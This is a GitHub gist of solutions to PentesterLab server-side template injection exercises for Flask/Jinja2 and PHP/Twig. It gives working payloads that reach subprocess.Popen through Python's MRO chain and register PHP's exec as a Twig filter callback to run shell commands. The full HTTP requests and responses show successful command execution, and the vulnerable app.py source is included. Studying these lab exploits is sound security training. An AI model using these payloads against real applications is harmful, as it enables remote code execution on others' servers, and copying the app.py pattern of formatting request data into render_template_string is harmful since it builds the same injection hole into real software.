Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active July 5, 2024 10:41
Show Gist options
  • Save mgeeky/fd994a067e3407fd87e8c224e65df8d8 to your computer and use it in GitHub Desktop.
Save mgeeky/fd994a067e3407fd87e8c224e65df8d8 to your computer and use it in GitHub Desktop.
Solutions for PentesterLab SSTI (Server-Side Template Injection) exercises: in Python Flask/Jinja2 PentesterLab task and PHP Twig (SSTI01+SSTI02) Essential Badge

Python Flask/Jinja2

There is a Server-Side Template Injection vulnerability going on, similar to this one: HackerOne: uber.com may RCE by Flask Jinja2 Template Injection

(Another good source: https://www.lanmaster53.com/2016/03/11/exploring-ssti-flask-jinja2-part-2/ )

In order to exploit it correctly, we can levearge following vector:

/aaaaaa-{{''.__class__.__mro__[2].__subclasses__()[233]('uname -a',shell=True,stdout=-1).communicate()[0].strip()}}-bbbbbbbbb

The 233th object of MRO (Method Resolution Order tuple's subclasses) is a subprocess.Popen .

GET /aaaaaa{{''.__class__.__mro__[2].__subclasses__()[233]}}bbbbbbbbb HTTP/1.1
Host: ptl-20d72bd5-bb314c9c.libcurl.so
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

---------------

HTTP/1.1 404 NOT FOUND
Server: nginx/1.6.2
Date: Wed, 29 Aug 2018 15:13:20 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 180


    <div class="center-content error">
        <h1>Page not Found: http://ptl-20d72bd5-bb314c9c.libcurl.so/aaaaaa&lt;class &#39;subprocess.Popen&#39;&gt;bbbbbbbbb</h1>
    </div>

We use it to launch it's constructor by passing it the command we want to have executed. Then we obtain stable RCE.


REQUEST

GET /aaaaaa-{{''.__class__.__mro__[2].__subclasses__()[233]('uname -a',shell=True,stdout=-1).communicate()[0].strip()}}-bbbbbbbbb HTTP/1.1
Host: ptl-20d72bd5-bb314c9c.libcurl.so
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

RESPONSE

HTTP/1.1 404 NOT FOUND
Server: nginx/1.6.2
Date: Wed, 29 Aug 2018 15:09:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 229


    <div class="center-content error">
        <h1>Page not Found: http://ptl-20d72bd5-bb314c9c.libcurl.so/aaaaaa-Linux caf0fd48a983 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64 GNU/Linux-bbbbbbbbb</h1>
    </div>

The vulnerable file is app.py server written in Python Flask+Jinja2 stack:

from flask import Flask,redirect,render_template_string,render_template,request
app = Flask(__name__)

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% block body %%}
    <div class="center-content error">
        <h1>Page not Found: %s</h1>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404


@app.route('/')
def index():
  return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False,host='0.0.0.0')

PHP/Twig

Here the task is as simple as using following payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("uname+-a")}}

Here comes REQUEST and RESPONSE:

GET /?name=hacker-{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("uname+-a")}}-hacker HTTP/1.1
Host: ptl-c4434ddb-351ce969.libcurl.so
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

---------------

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 29 Aug 2018 15:24:15 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1262
Connection: close
X-Powered-By: PHP/7.0.25
Vary: Accept-Encoding

[...]
<div class="row">
  <div class="col-lg-12">
    <h1>Server Side Template Injection 02</h1>
  <h1>Hello
hacker-Linux 2e0a3c1fa0c3 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64 GNU/Linux-hacker</h1>
      <p>The objective of this exercise is to exploit the server side template injection in this page. </p>
  </div>
</div>
[...]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment